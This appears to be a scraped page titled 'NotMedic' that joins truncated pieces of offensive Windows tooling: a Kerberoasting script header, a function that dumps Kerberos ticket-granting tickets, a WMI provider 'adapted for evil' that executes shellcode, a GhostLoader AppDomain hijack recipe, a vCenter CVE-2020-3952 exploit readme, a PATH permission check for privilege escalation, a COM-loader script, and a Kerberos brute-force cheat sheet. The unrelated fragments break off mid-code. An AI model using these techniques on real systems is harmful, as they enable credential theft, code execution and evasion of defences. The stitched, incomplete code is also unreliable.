NotMedic

<#

Invoke-Kerberoast.ps1
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: None

Credit to Tim Medin (@TimMedin) for the Kerberoasting concept and original toolset implementation (https://github.com/nidem/kerberoast).

Note: the primary method of use will be Invoke-Kerberoast with various targeting options.

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function Get-KerberosTicketGrantingTicket
{
    <#
    .SYNOPSIS

    Gets the Kerberos Tickets Granting Tickets from all Logon Sessions

    .DESCRIPTION

    Get-KerberosTicketGrantingTicket uses the Local Security Authority (LSA) functions to enumerate Kerberos logon sessions and return their associate Kerberos Ticket Granting Tickets.

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// Based On LocalAdmin WMI Provider by Roger Zander
// http://myitforum.com/cs2/blogs/rzander/archive/2008/08/12/how-to-create-a-wmiprovider-with-c.aspx
// Adapted For Evil By @subTee
// Executes x64 ShellCode
// 
// Deliver and Install dll
// C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /i EvilWMIProvider.dll
// Invoke calc for SYSTEM level calculations
// Invoke-WmiMethod -Class Win32_Evil -Name ExecShellCalcCode
// Invoke-WmiMethod -Namespace root\cimv2 -Class Win32_Evil -Name ExecShellCode -ArgumentList @(0x90,0x90,0x90), $null

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using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace EtwpTest
{
    class Program
    {
        static void Main(string[] args)
        {

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GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

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Exploit for VMware vCenter Directory Service (vmdir) - CVE-2020-3952 / VMSA-2020-0006

This is my proof-of-concept exploit code for the VMware vCenter Directory Service (vmdir) sensitive information disclosure vulnerability (CVE-2020-3952 / VMSA-2020-0006).

It turns out that the vmdir service, which provides an LDAP directory server (and more), allows anonymous LDAP connections (also called LDAP binding) in the ACL MODE: Legacy configuration that is present after upgrading from vCenter 6.5. While the LDAP tree doesn't expose password hashes for administrative users, it does expose the VMware SSO server's SAML identity provider (IdP) certificates and private key. This key can be downloaded and used to sign arbitrary SAML responses, allowing an attacker to

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If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
    Write-Warning "This script will not function with administrative privileges. Please run as a normal user."
    Break
}

$outfile = "acltestfile"
set-variable -name paths -value (Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment' -Name PATH).path.Split(";")
Foreach ($path in $paths) {
    # This prints a table of ACLs
    # get-acl $path | %{ $_.Access  } | ft -Wrap -AutoSize -property IdentityReference, AccessControlType, FileSystemRights

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new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Windows\\System32\\Tasks';
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = "mydll, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = "MyAppDomainManager";
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';


var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"> <dependency><dependentAssembly>        <assemblyIdentity name="tasks" version="0.0.0.0"/>      </dependentAssembly> </dependency>	<assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass   name="MyDLL.Operations"   clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}"   progid="MyDLL.Operations"   ru

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[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);
 
public static string[] CommandLineToArgs(string commandLine)
{
    int argc;
    var argv = CommandLineToArgvW(commandLine, out argc);
    if (argv == IntPtr.Zero)
        throw new System.ComponentModel.Win32Exception();
    try

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Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module: